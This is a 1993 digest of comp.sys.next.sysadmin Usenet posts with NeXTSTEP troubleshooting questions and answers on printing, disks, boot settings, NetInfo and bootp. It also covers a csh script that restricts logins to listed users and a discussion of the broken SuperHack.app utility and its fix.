References: <C27KGs.uL@usenet.ucs.indiana.edu>
Sender: news@slate.mines.colorado.edu
Organization: Colorado School of Mines
In article <C27KGs.uL@usenet.ucs.indiana.edu>
francisr@stupid.ucs.indiana.edu (Rob Francis) writes:
> In article <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu>
hogan@boetius (Kharim Hogan) writes:
> >
> >Is it possible to disable network accounts on one machine?
>
> # A script to put *'s for everyone's passwd to niload on the servers
> # to prevent login by unauthorized users
That isn't enough, is it? Don't you also have to change the shell to
something like /bin/sync or /bin/false? Otherwise, people could rlogin
to the server via an entry in ~/.rhosts. [If an appropriate .rhosts
entry is present, then the password is not checked.]
--
Craig Artley cartley@mines.colorado.edu (303) 273-3479
Geophysics Dept., Colorado School of Mines, Golden, CO 80401
From: pyrros@ouzo.homer.att.com (Christos T. Pyrros)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 10baseT
Message-ID: <1993Feb10.193453.23767@ulysses.att.com>
Date: 10 Feb 93 19:34:53 GMT
References: <1993Feb8.121926.4096@nic.csu.net>
Organization: AT&T Bell Laboratories, Murray Hill
In article <1993Feb8.121926.4096@nic.csu.net> sulistio@sutro.SFSU.EDU
(Sulistio Muljadi) writes:
> Hi,
> I am trying to hook up my NeXT to a 10baseT network, but my NeXT won't
> recognize that it's connected to the network. is there something that
> I should configure to use the 10baseT?? Thank you
Make sure that the 10BaseT hub you are connecting to has link integrity
turned on.
Chris
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From: stone@puma.cosy.sbg.ac.at (Peter Steiner)
Subject: Re: Using lpr with PC/TCP??
Message-ID: <C28xzC.2H4@cosy.sbg.ac.at>
Sender: news@cosy.sbg.ac.at
Organization: University of Salzburg / Austria
References: <1993Feb8.034333.8624@ecsvax.uncecs.edu>
Date: Wed, 10 Feb 1993 18:57:12 GMT
In article <1993Feb8.034333.8624@ecsvax.uncecs.edu>
timbuck@borg.lib.vt.edu (Tim Buck) writes:
> I'm having trouble printing to an HP Deskjet 500 connected to my NeXT
from
> a DOS machine running PC/TCP v.2.05. I'm using djf v.2.03 to drive the
> DeskJet.
>
> The problem I have is this: any PostScript file I print using "lpr"
from
> the NeXT works fine; the PostScript code is properly interpreted and I
get
> the expected printed results. But when I use "lpr" from the DOS
machine,
> the PostScript code is printed, not the interpreted results. The PS
code
> is never being processed by the djf filter.
>
> Can anyone offer me a solution for this? Thanks in advance.
There is a problem with some postscript files generated on PCs. The first
line of the postscript file starts with " %!PS-Adobe" whereas NeXT
postscript files start with "%!PS-Adobe". You see the blank???
This blank causes the NeXT to asume the file to be non postscript and the
file is treated like an ascii file!
Removing the blank solves it. Do not ask me how?!
Bernhard
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From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: How to attach Micropolis 1924-21
Message-ID: <C29DEL.DK6@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <UfRhQIu00WB=4zVNBO@andrew.cmu.edu>
Date: Thu, 11 Feb 1993 00:30:06 GMT
Charles William Swiger <infidel+@CMU.EDU> writes:
>Excerpts from netnews.comp.sys.next.hardware: 8-Feb-93 How to attach
>Micropolis 19.. by Scott Dickson@iris.psu.e
>> I know this must be a FAQ, but I just inherited a NeXT Station running
>> NS 2.0 and was then given a Micropolis 1924-21 2.4GB disk and was told
>> to make it work.
>>
>Simple:
[instructions deleted]
I just want to add my $.02 also that I attached a 1924 to a cube
last month and it worked just as one would expect. As plug and play
as the Seagate 1.2 GB drives we normally use. It was 'configured'
by the vendor for Suns.
--
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University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
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From: tcollins@cisco.com (Tracy Collins)
Newsgroups: comp.sys.next.sysadmin
Subject: How do I deal with bad blocks?
Date: 10 Feb 1993 20:39:11 GMT
Organization: cisco Systems
Message-ID: <1lbp5fINNc4v@cronkite.cisco.com>
While trying to install MusicKit on my colorstation,
I get I/O errors that cause the install to fail.
I believe that the I/O errors are caused by media errors
that are reported to the console (bad blocks).
I have a Seagate 400 Mbyte internal drive.
I tried to reassign the blocks, but I got an error
that said the drive does not support this.
Help!
thanks,
tracy collins
tcollins@cisco.com
no NeXTMail, please!
From: borchers@poogh.llnl.gov (Robert R. Borchers)
Newsgroups: comp.sys.next.sysadmin
Subject: ftp logging query
Keywords: ftp, logging, anonymous
Message-ID: <149656@lll-winken.LLNL.GOV>
Date: 11 Feb 93 00:46:51 GMT
Sender: usenet@lll-winken.LLNL.GOV
I have installed a new ftpd which works fine. Having figured out how to
tell the ftpaccess file to turn on logging, I am now trying to find out
how to get syslog.conf to tell syslogd to put the logs somewhere. Anybody
have any hints? Bob
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From: ringger@cs.rochester.edu
Subject: Splitting 3.0 Between 2 Disks
Message-ID: <9302110529.AA06423@sol.cs.rochester.edu>
Sender: becker@cs.rochester.edu (Tim Becker)
Organization: Computer Science Department University of Rochester
Date: Thu, 11 Feb 93 00:29:10 -0500
Hello, everyone.
I am currently running NS3.0 on a NeXTstation (non-turbo). Inside the
box, I have a ~200 MB Quantum hard-drive; I have a ~650MB Fujitsu
hard-drive connected to the external SCSI port. Since I received my
station with NS2.1 installed on the internal drive at the time of
purchase, I left it there when I installed 3.0 last Fall. All of the
3.0 release is currently on the external drive.
Since 3.0 is stable enough for my purposes (I have not crashed the
system since installing), I would like to clean off most of the
internal drive and move the vitals of 3.0 there. My perception is
that the internal drive is faster and that I could move all of the
kernel-related stuff there, including swapfiles, etc. What do you all
recommend in a situation like mine? Have any of you split the system
across disks like this with noticeable performance gains? I would
like to have (near) optimal speed and (near) optimal disk-utilization.
Since I don't regularly read this newsgroup, please reply by E-mail.
My address is in the .sig.
Thanks ~850 MB.
--Eric
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From: bkropp@slate.mines.colorado.edu (Dr. Manhattan)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Problem program called SuperHack.app
Message-ID: <1993Feb11.070905.30969@slate.mines.colorado.edu>
Date: 11 Feb 93 07:09:05 GMT
Sender: bkropp@slate.mines.colorado.edu (Dr. Manhattan)
Organization: Colorado School of Mines
I recently have had some problems with a program that was ftp'd from
sonata.cc.purdue.edu called SuperHack.app that appears to be something
of a Trojan Horse. It purports to be a program to change your recycle icon
if you install it. Once installed, it prevents login from a NeXT console.
The problem can be fixed by remotely loggin in or logging in as root, but
is irritating and time wasting none the less. It would be possible for
it to do other damage as well, such as mailing your password to someone, but
I have not found it to be that harmfull yet.
Has anyone else had any experience with this program or know anything about it?
Any information you could mail me or post would be useful.
--
_________________________________________________________________________
There is nothing either good or bad, but thinking makes it so.
-Hamlet
_________________________________________________________________________
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Subject: printer counter
Message-ID: <1993Feb10.191424.119860@marshall.wvnet.edu>
From: mth011@marshall.wvnet.edu
Date: 10 Feb 93 19:14:24 -0500
Organization: Marshall University
I must compose a cost information sheet for the lab here and one
of the things is the consumables for the printer. I need to have a program
that tells me how many pages were printed on each printer.
Mike Peele
From: tilley@ccu.umanitoba.ca (Richard Tilley)
Newsgroups: comp.sys.next.sysadmin
Subject: netblazer client, NeXT host, even parity, some success
Keywords: slip ppp
Message-ID: <C2AA75.AEt@ccu.umanitoba.ca>
Date: 11 Feb 93 12:18:40 GMT
Sender: news@ccu.umanitoba.ca
Organization: University of Manitoba, Winnipeg, Canada
I just(barely) got a netblazer to dial a NeXT.
The problem was that the NeXT is sending the "login:" prompt with even parity.
This makes it difficult to recognise the prompt.
I ended up checking only for a ":", but would like to test for at lease "n:"
my chat.txt file looks something like this:
:unix
# It is worse than even parity. \@^M\n\@^M\@^M\nrtille\@y\@ lo\@gi\@n:\@
# I tried the obvious like O,\xee:
# I tried most things up to, but not including O,\\@n:
# Do not change the following line unless necessary.
e1,10,30,2,:
# I don't know whether any of the the pauses are needed.
# Just being cautious, since each change seems to require a reboot.
e2,1,22,100,pause a second
u22,5,100,3
s3,5,100,4,\r
e4,5,30,5,password:
o99,slip
o99,ppp
o99,Packet mode enabled
o99,Your very own connect message goes here.
e5,1,25,100,pause a second
p25,5,100,6
s6,5,100,7,\r
How can I test for the login prompt?
--
.. Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking group.
Newsgroups: comp.sys.next.sysadmin
From: seth@brunswick.cc.columbia.edu (Seth Strumph)
Subject: loginwindow can't find windowserver port
Message-ID: <1993Feb11.165108.19923@news.columbia.edu>
Sender: usenet@news.columbia.edu (The Network News)
Organization: Columbia University
Distribution: na
Date: Thu, 11 Feb 1993 16:51:08 GMT
i think i've seen this asked before, but since i didn't have this problem
before yesterday, i wasn't paying attention...
can anyone tell me why a bunch of next's would suddenly start having
trouble (long hangs) while logging users in, and write the following to the
console:
loginwindow[199]: loginwindow: could not find WindowServer port!
this started happening intermittently yesterday in a lab of 3.0
nextstations after one of our two servers was rebooted. the lab machines
do get parts of /NextLibrary off of the servers, but have
/NextLibrary/{Fonts,PS2Resources} and /usr/lib/NextStep local. we run amd
to get the rest of /NextLibrary and various other parts of the extended
system from our servers.
please reply by email and i will post a summary when the problem is solved.
thanks.
/seth
seth@columbia.edu
From: bryan@kolsky.tamu.edu (Bryan Milligan)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware
Subject: Where can I find a ppd file for an HP Laserjet 4M?
Date: 11 Feb 1993 19:51:58 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1leaouINN5qr@tamsun.tamu.edu>
Keywords: ppd files, HP Laserjet 4M, pot-bellied pigs
The subject line says it all. We just got one hooked to our network,
and I want to exploit the 600 dpi.
--
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Department of Aerospace Engineering Fax: (409) 845-6051
Texas A&M University
bryan@kolsky.tamu.edu
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Newsgroups: comp.sys.next.sysadmin
From: jblatt@wsuaix.csc.wsu.edu (Jeff Blatt - Forest Service)
Subject: ** The currently logged in person owns all external files **
Message-ID: <1993Feb11.182122.18353@serval.net.wsu.edu>
Originator: jblatt@wsuaix.csc.wsu.edu
Sender: news@serval.net.wsu.edu (USENET News System)
Organization: Washington State University
Date: Thu, 11 Feb 93 18:21:22 GMT
I have recently added an external 1 Gig. tecor hard drive
to my NeXTStation turbo color slab (NeXTStep 3.0). I followed the
proccedure in the SysAdmin manual and everything went smoothly.
Then I realized that the drive was being automounted every time
a user logged in. The end result of this is that every file on
the external drive is owned by the person currently logged on.
I didn't want this. So I followed the proceedure in the SysAdmin
manual to add an entry in my /etc/fstab file. This also went smoothly
except it didn't solve the problem.
When the machine boots up it will mount the external drive
the way it is specified in the fstab file, but then when every any-
one logs in, Workspace remounts the drive and the current person
logged in owns all of the files on the external drive.
Does anyone have a clue how to prevent Workspace from
remounting the drive?
Jeffrey -
From: osiris@ucrengr.ucr.edu (Mark Radleigh)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to disable logins on one machine? Help!!
Keywords: disable logins
Message-ID: <26045@galaxy.ucr.edu>
Date: 11 Feb 93 19:54:00 GMT
References: <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu>
Sender: news@galaxy.ucr.edu
Distribution: usa
In article <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu> hogan@boetius
(Kharim Hogan) writes:
>
> Hi,
>
> Is it possible to disable network accounts on one machine?
> We need to be able to dedicate one of our machines (which
> sits in a public lab) to one project for a few months.
> Since all users have network accounts, probably the easiest
> way to restrict this machine would be to disallow logins
> on only that machine. Is there any relatively simple way
> to do this without having to move the machine to a private
> office (which is not an option at this point)? i.e. only
> those working on the project could login to this machine
> although the machine must remain on the network.
>
> Any help or pointers appreciated.
>
[stuff deleted]
Well, if the default shells for the users are /bin/csh (or a derivative
of csh I think), then you can modify /etc/login.std (Note that this is sourced
WHENEVER anyone tries to bring up a terminal window or tries to remotely log
in. This will not stop them from logging into console though...).
This is what I have...
-------------------------------------------------------------------------------
#
# Standard csh login profile
# csh will source this file before the home .login
# NOTE: csh will source this file even if -f flag set
#
onintr -
set VALID_USERS="/etc/VALID_USERS"
set ME="`/usr/ucb/whoami`"
#
set TEMP="`grep ^$ME $VALID_USERS`"
if ( $status == 1 ) then
echo ""
echo "Your login is disallowed on this machine."
echo "Bye bye."
echo ""
kill -9 $$
endif
-------------------------------------------------------------------------------
And then the /etc/VALID_USERS file looks something like this:
#
# System Users
#
root
nobody
agent
daemon
uucp
news
sybase
#
# The necessary Staff
#
osiris
source
backups
--
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
/ \
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From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd)
Newsgroups: comp.sys.next.sysadmin
Subject: Terminal (?) causes massive disk/system overload
Summary: My NeXT chokes on what seemingly is a Terminal bug
Keywords: terminal.app, NeXT, crash, rabbit
Message-ID: <1993Feb11.221440.22264@galileo.cc.rochester.edu>
Date: 11 Feb 93 22:14:40 GMT
Sender: news@galileo.cc.rochester.edu
Organization: University of Rochester - Rochester, New York
I'm using NS3.0, and I have a problem (other than owning a collector's
item):
After a while past any reboot, (in terms of machine usage about 2 hours of
constant use) I get a problem: when in terminal, the disk starts to run.
First slowly and in short bursts. Then the pace picks up substantially
until any kepyress/mouseclick takes upwards of 40 seconds to react. I have
to break into the monitor and reboot. Logging out and back in does not help
the situation without reboot. My swapfile is "normal" and I have scads of
room on the drive for more. I have 20 megs of ram. The only things that I
can think of that I have changed are that I hosed the root defaults a while
ago and just re-copied them from an unaltered 3.0 machine into mine. This,
however, should not cause a system crunch, right? The other thing that I
have been doing is using 3D-Reality on a temporary key.
I have recollections of someone having similar problems a few months ago.
Any suggestions? It's a real pain in the keister to have to reboot every 2
hours. This is the first time my machine has ever given me a big headache
that I haven't been able to solve by observation. Actually, I have to
reboot right now or I'll be stuck in this mail probram for hours....
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From: bob@ruf.rice.edu (Robert Morrison Dana)
Subject: remapping port 119
Message-ID: <C2BBp4.J3t@rice.edu>
Sender: news@rice.edu (News)
Organization: Rice University
Date: Fri, 12 Feb 1993 01:48:39 GMT
I'm not sure that I'm using the correct terminology, but I want to free
up port 119 for a use other than nntp. I removed the directory for
nntp in the services directory in netinfo, and sent a SIGHUP to
inetd. The program I am using still reported that the it was "already
bound". I rebooted. It still reported a problem. I can access other
ports (like 3000) with no trouble. Is there something else I neeed to
do to "unbind" 119?
Thanks,
Robert
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Robert Dana
bob@rice.edu
ONCS UNIX student sytems programmer, Rice University
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From: andy@research.canon.oz.au (Andy Newman)
Subject: Re: awk ARGV ARGC ( unable to access )
Message-ID: <C2ADto.FCD@research.canon.oz.au>
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References: <1993Feb1.135348.16815@julian.uwo.ca> <1993Feb9.173928.7957@proximus.north.de>
Date: Thu, 11 Feb 1993 13:36:59 GMT
gemoe@proximus.north.de (Gerhard Moeller) writes:
>What you need is gawk.
There is also mawk (its sometimes quite faster than gawk.)
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From: tilley@ccu.umanitoba.ca (Richard Tilley)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: problem with printouts after 3.0 upgrade
Message-ID: <C2BGvE.us@ccu.umanitoba.ca>
Date: 12 Feb 93 03:40:25 GMT
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In <1l4rdlINNd1h@disc.coactive.com> dgaw@beandog (david gaw) writes:
>We recently upgraded our machines to 3.0, and now ALL
>printouts (from all applications, including the PrintManager Test)
>are slipped down the page by about 3/4". I can't seem to figure out
>why.
Check the green tab on the paper tray.
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.. Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking group.
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From: tilley@ccu.umanitoba.ca (Richard Tilley)
Subject: Re: Replaced boot disk, now have to bsd
Message-ID: <C2BH81.10p@ccu.umanitoba.ca>
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Date: Fri, 12 Feb 1993 03:48:00 GMT
In <1993Feb8.155550.14636@ornl.gov> woo@ornl.gov (John W. Wooten) writes:
>One of my new NeXTStation Turbos arrived with a bad internal disk. We
>got a replacement from NeXT and installed it. It has the system on it
>and so forth.
>Somehow though it always comes up with the Monitor Window and the
>statement "Can't located default boot device".
>I have to do a NeXT> bsd
>to get it started and it's fine.
Enter "p" instead of "bsd" and set the boot command to "sd" (but not "bsd")
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.. Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking group.
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From: woo@ornl.gov (John W. Wooten)
Subject: Re: Replaced boot disk, now have to bsd
Message-ID: <1993Feb12.140012.15500@ornl.gov>
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References: <C2BH81.10p@ccu.umanitoba.ca>
Date: Fri, 12 Feb 1993 14:00:12 GMT
Thanks for the many helpful replies. Some were not so clear, but I
finally got it licked. The confusion was that I had looked at the p
command in the ROM monitor program. The answer beside
boot command?: was yes
I had changed it to no, and to bsd, but not to sd
That was the magic word.
So, if this happens to you as it did to me when I replaced my internal
drive,
type command-command ~ (if the monitor doesn't come up anyway)
type p
for the question about boot command?
type sd
then power down and back up
Many thanks
J. W. Wooten
From: dgaw@beandog (david gaw)
Newsgroups: comp.sys.next.sysadmin
Subject: problem with printouts after 3.0 updgrade
Date: 11 Feb 1993 20:29:51 GMT
Organization: Coactive Aesthetics Inc.
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since recently upgrading to 3.0, all printouts (from all applications,
including PrintManager test) are slid down the page by about 3/4".
What could cause this ???
--
David Gaw Coactive Aesthetics
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netcom!coactive!dgaw voice:(415)626-5152 fax:(415)626-6320
From: bob@stirling.egr.duke.edu (Robert R Reynolds)
Newsgroups: comp.sys.next.sysadmin
Subject: No Sound After IP update
Keywords: sound, ip address
Message-ID: <9928@news.duke.edu>
Date: 12 Feb 93 13:58:45 GMT
Sender: news@news.duke.edu
The IP addresses of the machines in my internet domain were
recently updated. Unfortunately, my slab (25 MHz, mono)
now no longer plays sounds - ANY sounds. Sound.app and other
similar apps come up fine and give all visual indiations
of playing the sounds but don't (and yes I have the volume
up). Any suggestions as to the cause and appropriate cure
would be appreciated.
Bob
bob@stirling.egr.duke.edu
From: shuque@microsupport.sas.upenn.edu (Shumon Huque)
Newsgroups: comp.sys.next.sysadmin
Subject: weird login error
Message-ID: <109450@netnews.upenn.edu>
Date: 13 Feb 93 19:09:22 GMT
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Somebody I know is having a strange problem. Whenever he tries to login
to his machine (NS 2.1) remotely, he gets the error:
setgroups: not owner
This does not occur on my 3.0 machine. After some investigating, it turns out
that I can reproduce the error if I invoke 'login' after I am already on the
system. eg.
---
microsupport:~>$ login connie
Password:
setgroups: Not owner
%
---
I assume 'login' is trying to set the group id's for the user shell and is
having problems. However, apart from this error message, everything seems
to work fine. Any hints? The permissions on /bin/login are correct, ie
setuid root. All the 3.0 machines I tested it on (only 3 really) seem to
exhibit this. Is this a 3.0 general behavior - is it harmless? Are there
fixes?
Thanks,
--Shumon Huque.
shuque@spectre.sas.upenn.edu
From: tom@cse.fau.edu (Tom Horton)
Newsgroups: comp.sys.next.sysadmin
Subject: How is NS 3.0 on a 12 Mb cube?
Message-ID: <1993Feb13.201635.10800@cybernet.cse.fau.edu>
Date: 13 Feb 93 20:16:35 GMT
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What kind of performance can I expect if I upgrade a 25 MHz cube with only 12
Mb RAM and a 105 Mb drive to NeXTSTEP 3.0? It's running 2.1 right now, and
while performance isn't wonderful, it's tolerable for the few people that use
it. An upgrade is desirable because I have some users who want at some
3.0-only apps.
We have a second cube running 3.0 now (it has 16 Mb RAM, 660 Mb drive) that is
the 2.1 machine's NetInfo server and file server. So I'm not concered about
doing the upgrade, or using NFSExtend (or manual equivalents) to make developer
files etc. available to the machine with the 105 Mb drive. My only concern is
the performance....
-------------------------------------------------------------------------
Dr. Thomas B. Horton, Assistant Professor
Dept. of Computer Science and Engineering, Florida Atlantic University
Boca Raton, FL 33431 USA Phone: 407/367-2674 FAX: 407/367-2800
Internet: tom@cse.fau.edu Bitnet: HortonT@fauvax
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From: jfreem@ecsvax.uncecs.edu (Joe Freeman)
Subject: Re: How is NS 3.0 on a 12 Mb cube?
Message-ID: <1993Feb13.210945.21887@ecsvax.uncecs.edu>
Organization: UNC Educational Computing Service
References: <1993Feb13.201635.10800@cybernet.cse.fau.edu>
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Date: Sat, 13 Feb 1993 21:09:45 GMT
You didn't say what processor you are running. A 68030 is
not really useable on 3.0. (3.1 maybe, but doubtfull)
A 25Mhz 040 with 12mb of ram works fine.
In article <1993Feb13.201635.10800@cybernet.cse.fau.edu> tom@cse.fau.edu (Tom Horton) writes:
>What kind of performance can I expect if I upgrade a 25 MHz cube with only 12
>Mb RAM and a 105 Mb drive to NeXTSTEP 3.0? It's running 2.1 right now, and
>while performance isn't wonderful, it's tolerable for the few people that use
>it. An upgrade is desirable because I have some users who want at some
>3.0-only apps.
>
>We have a second cube running 3.0 now (it has 16 Mb RAM, 660 Mb drive) that is
>the 2.1 machine's NetInfo server and file server. So I'm not concered about
>doing the upgrade, or using NFSExtend (or manual equivalents) to make developer
>files etc. available to the machine with the 105 Mb drive. My only concern is
>the performance....
>
>-------------------------------------------------------------------------
>Dr. Thomas B. Horton, Assistant Professor
>Dept. of Computer Science and Engineering, Florida Atlantic University
>Boca Raton, FL 33431 USA Phone: 407/367-2674 FAX: 407/367-2800
>Internet: tom@cse.fau.edu Bitnet: HortonT@fauvax
--
Joe Freeman jfreem@uncecs.edu
The opinions espressed here are my own and are not
shared by my former employer, future employer, anyone
in my family or anyone else I know of.
From: root@scarolina.cerfnet.com (Operator)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Please help my sun find it's IP address
Date: 13 Feb 1993 23:23:57 GMT
Organization: CERFnet
Message-ID: <1ljvudINNpqa@news.cerf.net>
Keywords: bootp, rarp, select, socket, bind
We're trying to use a diskless sun 3/50 ($395 for qty one!) as an
X-terminal on a NeXT. We're running 3.0 NeXTstep, and it's a "non-NetInfo
Network". We've received information from one person who says that his
NeXT running bootp version 2.1 (from CMU, not the one supplied with the
NeXT) correctly hands out IP addresses to a whole bunch of pc's and macs
on his network.
Before the sun can send a tftp request asking for its boot file, it has to
find out its IP address. What's supposed to happen (as far as we can tell
from reading RFC951 and RFC1048 and the source code):
1) sun multicasts reverse arp packets onto the ethernet. (rarp packets
look like regular arp packets except that the ethernet address is filled
in and the IP address is blank.)
2) the NeXT runs bootpd, which listens on port 67. when a packet appears
on the port, bootpd looks up the IP address, fills it in, and ships the
packet back out.
We get basically the same symptoms using the bootpd that NeXT supplies as
if we use CMU's version 2.1. The packets come in, but never leave. No
one reports any errors that we can find. We have the source code for
CMU's version 2.1. Through the liberal insertion of logging statements,
we can tell that it
- gets a socket (socket(AF_INET, SOCK_DGRAM, 0) returns 4)
- uses getservbyname() to find out that the port number is 67
- does a bind() of descriptor 4 (the socket) to port 67
- reads the bootptab file
- does a select on descriptor 4
sits there forever waiting for something to appear on the socket. It
never gets to the part where it manipulates the packet, because it never
gets a packet.
The sun passes its external loopback test, and we can see the packets come
into the NeXT when we do a 'netstat -i'. (The "Ipkts" on en0 grow
steadily whenever the sun is powered-on, but not when the sun is off.)
Also from 'netstat -i' we can see that no packets are going out.
So - does anybody out there in netland know what needs to be done to the
NeXT so that the kernel will put those packets the sun is sending into
port 67? Does something else need to be configured? Or are we completely
confused and this has nothing to do with bootpd? Does the NeXT put the
datagrams in a port other than 67? What port? Does anyone know any
additional ways to find out what is happening to the packets? (Other than
netstat -i.)
Please respond to fasano@scarolina.cerfnet.com. If we succeed, we will
post complete instructions. (At the current price for a sun 3/50, we
imagine there will be some demand!)
adTHANKSvance
Cathy & Chris Fasano
From: majka@grep.next.com (Marc Majka)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Problem program called SuperHack.app
Message-ID: <6798@rosie.NeXT.COM>
Date: 14 Feb 93 01:31:03 GMT
References: <1993Feb11.070905.30969@slate.mines.colorado.edu>
Sender: news@NeXT.COM
Dr. Manhattan writes
> I recently have had some problems with a program that was ftp'd from
> sonata.cc.purdue.edu called SuperHack.app that appears to be something
> of a Trojan Horse.
THE PROBLEM:
SuperHack is badly broken under 3.0. It attempts to "segedit" the
recycler tiffs in Workspace, replacing them with garbage cans, black
holes, or etc. These tiffs are no longer in the executable, so it fails.
It then writes a new Workspace default for loginwindow. The path that it
writes is incorrect, resulting in login simply failing for the user who
ran SuperHack.
THE FIX:
Login as another user. Start /NextApps/Terminal.app and use /bin/su to
start a shell owned by the affected user. Alternatively, you may use
telnet to make a connection to some host and log in as the affected user.
In that shell, execute the following:
dremove loginwindow Workspace
SuperHack.app has caused problems for many people and should be deleted
from the archives. If you have a copy, I reccomend that you destroy it!
--
Marc Majka
NeXT Inc.
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd)
Newsgroups: comp.sys.next.sysadmin
Subject: Bringing 3.0 swapfile under control
Summary: Need help with ballooning swapfile
Keywords: NeXTSTEP 3.0, NeXT, swapfile, avarice, greed, pride
Message-ID: <1993Feb14.041015.14897@galileo.cc.rochester.edu>
Date: 14 Feb 93 04:10:15 GMT
Sender: news@galileo.cc.rochester.edu
Organization: University of Rochester - Rochester, New York
I have had real problems with my swapfile growing uncontrollably under 3.0
recently. It works fine for a while, and then for some odd reason, grows
at a rate of about 300k per 5 seconds of processing time (eg: new operations
such as keypresses, mouse clicks, background tasks) Another real pain is
when it runs my daily tasks in the morning (updatedb being the largest) it
sometimes gets WILDLY out of control, forcing me to unplug (!!) the computer
in order to get the system under control (eg: no responses to keypresses or
other sane recourse. I might be able to just break into the monitor, but
then a reboot would cause all the same disk action, which would disturb my
sleep at 6:30AM :-) I'm thinking that there is a problem with my root
defaults, since I just re-installed them after a bad experience. I changed
my swaptab file to alter my lowat mark, but after these problems started I
changed it back to where it was. Any suggestions?
--
John Todd | University of Rochester, Rochester NY USA Earth Milky Way
CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo
Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused
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From: tilley@ccu.umanitoba.ca (Richard Tilley)
Subject: Re: Problem w/ telnet from Sun to NeXT
Message-ID: <C2Fu4o.DzC@ccu.umanitoba.ca>
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References: <1993Feb9.050835.18353@netcom.com> <1993Feb9.182026.29176@urz.unibas.ch>
Date: Sun, 14 Feb 1993 12:17:11 GMT
In <1993Feb9.182026.29176@urz.unibas.ch> frank@ifi.unibas.ch (Robert Frank) writes:
>Speaking of problems, anyone got Telnet on the mac (via MacTCP) to properly
>chat with the NeXT?
>The problem is that the telnet session looses certain keys on input. If these
>keys are typed twice, everything is fine. Unfortunately, each mac has different
>keys generating the problems...
"stty all" shows that some regular characters are being used for control funcitons.
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From: soward@slow.inslab.uky.edu (John Soward)
Subject: Re: Next NFS server upgrade
Message-ID: <C2FADo.Fts@ms.uky.edu>
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Date: Sun, 14 Feb 1993 05:10:35 GMT
Chris Bradley writes
-> In article <1kgvhvINNjs5@ni.umd.edu> louie@sayshell.umd.edu (Louis A.
-> Mamakos) writes:
-> > In article <gfNjYKq00YUn0=N1kh@andrew.cmu.edu> Tod McQuillin
-> <tm8t+@andrew.cmu.edu> writes:
-> > >We're running a NeXT cube (68040/25Mhz) with 2.5 GB of disk serving 50
-> > >NFS clients or so. We're considering upgrading the server with a
-> > >Turbo board (68040/33Mhz).
-> > >
-> > >My question is, with such a configuration, is upgrading to a Turbo
-> > >likely to help? It's quite possible that the machine is disk-bound,
-> > >in which case increasing the CPU speed won't significantly help.
-> >
-> > You'd likely be better off, for performance and function, to buy a Sun
-> > or some other box for your NFS server if you are really server
-> > performance-bound. If you've got a large, heavy NFS load, having
-> > multiple SCSI buses available will reduce I/O contention on the bus
-> > between multiple drives, as will support for synchronous SCSI
-> > transfers so that each transfer uses the bus for less time. You get
-> > neither of these on a NeXT right now.
-> >
->
-> I gotta (heartily) recommend that you look at the AUSPEX line of servers.
-> Outstanding I/O throughput, in a BEAST of an NFS server!
okay, here's a question, then...say your NFS server can read/write data
to disk with a sustained throughput of 5Mb/sec....how fast will it really go? I
mean what can you transfer over E-Net anyway...couple meg a sec max...the goal
of a NFS server then should be to have big caches and read-aheads so you don't
have to wait for anything except the net...
Now here's a suggestion...make sure your NFS server has plenty of RAM,
but no need to get carried away...make sure you are running plenty of
nfsds...I'd say 8 or 10 (see /etc/rc) you can check your memory usage via
"vm_stat" you should always have a meg or so free..also look into "iostat" for
info on disk usage...somtimes balancing the load will help...
--
________________________________________________________________________
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From: dan@ennex1.eng.utsa.edu (Daniel Shelton)
Subject: repair of optical drives
Message-ID: <1993Feb14.201459.12377@ringer.cs.utsa.edu>
Sender: news@ringer.cs.utsa.edu
Organization: Univ of Texas at San Antonio
Date: Sun, 14 Feb 1993 20:14:59 GMT
Hello All,
We have one bad optical drive, one bad hard drive and an optical drive that seems to be heading for drive heaven. Does anybody
know of a
company that repairs both these types of drives for a reasonable price?
The optical drives are both NeXT (Canon) and the drive is a 330MB Maxtor
that seems to have just stopped spinning.
Thanks for any info and have a good one,
Dan Shelton (dan@ennex1.eng.utsa.edu)
From: matthews@oberon.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo and DNS
Message-ID: <18484@umd5.umd.edu>
Date: 15 Feb 93 02:12:21 GMT
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Is it just me, or does NetInfo *not* do DNS queries to resolve the master
property of each domain? And, if there's an alias for the old, non-fully-
qualified machine in the second level, why would the third level (with the
master: property having the old, aliased-in-the-second-level domain) also
complain?
Annnd, this may or may not be directly the cause of it, but it seems that a
couple of NetInfo databases that were running on a particular machine were,
after some communications failures, totally blown away.
This is !good. I wasn't around when it happened (and haven't back to work
yet to check on it) but this seems like a rather nasty bug.
The NetInfo server was a 2.2 machine, with 3.0 (and Xedoc/3.0) clients.
Does anyone have any similar experiences with NetInfo and DNS not getting
along? (Well, DNS isn't the issue -- fully qualified hostnames, now *that's*
an issue.)
------
Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted)
------
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the person making the claim, not the critic. It is not the responsibility
of UFO skeptics to prove that a UFO has never existed, nor is it the
responsibility of paranormal-health-claims skeptics to prove that crystals
or colored lights never healed anyone. The skeptic's role is to point out
claims that are not adequately supported by acceptable evidcence and to
provide plausible alternative explanations that are more in keeping with
the accepted body of scientific evidence. ...
